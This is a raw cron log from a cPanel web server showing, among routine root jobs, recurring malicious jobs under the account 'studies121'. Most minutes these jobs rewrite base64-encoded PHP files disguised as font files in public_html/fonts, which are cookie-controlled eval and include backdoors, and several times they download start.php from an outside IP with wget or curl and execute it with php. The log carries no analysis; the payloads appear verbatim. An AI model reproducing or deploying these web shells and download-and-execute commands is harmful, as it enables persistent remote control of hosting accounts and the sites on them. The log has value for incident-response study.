Sep  5 12:00:01 ip-184-168-122-23 CROND[9759]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:00:01 ip-184-168-122-23 CROND[9768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9769]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:00:01 ip-184-168-122-23 CROND[9772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:00:01 ip-184-168-122-23 CROND[9771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:01:01 ip-184-168-122-23 CROND[9947]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 12:01:01 ip-184-168-122-23 CROND[9952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:01:01 ip-184-168-122-23 CROND[9951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:01:01 ip-184-168-122-23 CROND[9949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:01:01 ip-184-168-122-23 CROND[9950]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:01:01 ip-184-168-122-23 CROND[9954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9947]: starting 0anacron
Sep  5 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9967]: finished 0anacron
Sep  5 12:02:01 ip-184-168-122-23 CROND[10173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:02:01 ip-184-168-122-23 CROND[10174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:02:01 ip-184-168-122-23 CROND[10175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:02:01 ip-184-168-122-23 CROND[10176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:02:01 ip-184-168-122-23 CROND[10177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:03:01 ip-184-168-122-23 CROND[10493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:03:01 ip-184-168-122-23 CROND[10495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:03:01 ip-184-168-122-23 CROND[10494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:03:01 ip-184-168-122-23 CROND[10496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:04:01 ip-184-168-122-23 CROND[10879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:04:01 ip-184-168-122-23 CROND[10881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:04:01 ip-184-168-122-23 CROND[10882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:04:01 ip-184-168-122-23 CROND[10883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:04:01 ip-184-168-122-23 CROND[10884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:05:01 ip-184-168-122-23 CROND[11179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:05:01 ip-184-168-122-23 CROND[11183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:05:01 ip-184-168-122-23 CROND[11182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:05:01 ip-184-168-122-23 CROND[11184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:05:01 ip-184-168-122-23 CROND[11186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:05:01 ip-184-168-122-23 CROND[11185]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:05:01 ip-184-168-122-23 CROND[11187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:06:01 ip-184-168-122-23 CROND[11577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:06:01 ip-184-168-122-23 CROND[11578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:06:01 ip-184-168-122-23 CROND[11579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:06:01 ip-184-168-122-23 CROND[11580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:06:01 ip-184-168-122-23 CROND[11582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:07:01 ip-184-168-122-23 CROND[11866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:07:01 ip-184-168-122-23 CROND[11868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:07:01 ip-184-168-122-23 CROND[11869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:07:01 ip-184-168-122-23 CROND[11870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:08:01 ip-184-168-122-23 CROND[12022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:08:01 ip-184-168-122-23 CROND[12025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:08:01 ip-184-168-122-23 CROND[12023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:08:01 ip-184-168-122-23 CROND[12024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:08:01 ip-184-168-122-23 CROND[12026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:09:01 ip-184-168-122-23 CROND[12217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:09:01 ip-184-168-122-23 CROND[12219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:09:01 ip-184-168-122-23 CROND[12220]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 12:09:01 ip-184-168-122-23 CROND[12221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:09:01 ip-184-168-122-23 CROND[12223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:10:02 ip-184-168-122-23 CROND[12483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:10:02 ip-184-168-122-23 CROND[12487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:11:01 ip-184-168-122-23 CROND[12772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:11:01 ip-184-168-122-23 CROND[12774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
